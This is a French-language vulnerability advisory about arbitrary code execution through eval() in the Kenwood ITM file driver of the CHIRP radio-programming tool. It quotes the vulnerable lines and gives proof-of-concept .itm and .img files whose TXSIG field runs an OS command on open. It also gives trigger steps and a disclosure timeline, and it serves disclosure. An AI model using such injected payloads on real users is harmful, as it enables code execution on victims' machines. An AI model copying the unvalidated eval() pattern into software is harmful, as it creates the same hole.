CHIRP — Exécution de code arbitraire via eval() dans le pilote Kenwood ITM

Produit : CHIRP - Un projet open source pour programmer des radios amateur.
Versions affectées : URL : https://github.com/kk7ds/chirp, https://chirpmyradio.com
Versions affectées : <= chirp-next-20260814
CWE : CWE-95 (Injection d'eval)

---

Aperçu

Le pilote du format de fichier Kenwood ITM de CHIRP transmet les valeurs brutes des champs CSV d'un fichier ouvert directement à la fonction eval() intégrée de Python, sans aucune validation. Un attaquant qui fournit un fichier spécialement conçu à un utilisateur de CHIRP obtient l'exécution de code arbitraire avec les privilèges de la victime.

Cause racine

chirp/drivers/kenwood_itm.py, _clean_tmode(), lignes 66–67 :

def _clean_tmode(self, headers, line, mem):
    rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG"))  # SINK
    ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG"))  # SINK

Les valeurs TXSIG et RXSIG proviennent directement d'une ligne CSV du fichier ouvert. Aucune vérification de type, liste d'autorisation ou isolation (sandboxing) n'est appliquée avant eval().

POCs

Voici deux POCs.

.itm malveillant

// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0

.img malveillant

// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0

 chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==

Déclenchement dans CHIRP

1. Lancez CHIRP.
2. File → Open.
3. Sélectionnez {file_name}.img. Si vous utilisez la charge utile .itm, changez le filtre déroulant sur "All Files" (ITM n'est pas filtré dans CHIRP).
4. Sélectionnez {file_name}.itm.

Divulgation

2026-8-17 -- Vulnérabilité découverte
2026-8-17 -- E-mail envoyé au mainteneur
2026-8-17 -- Le mainteneur a répondu et le code a été corrigé le jour même. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- La version de l'installateur 20260821 inclut le correctif.
2026-8-22 -- NotCVE-2026-0013 émis.
2026-8-23 -- CVE-2026-78136 émis.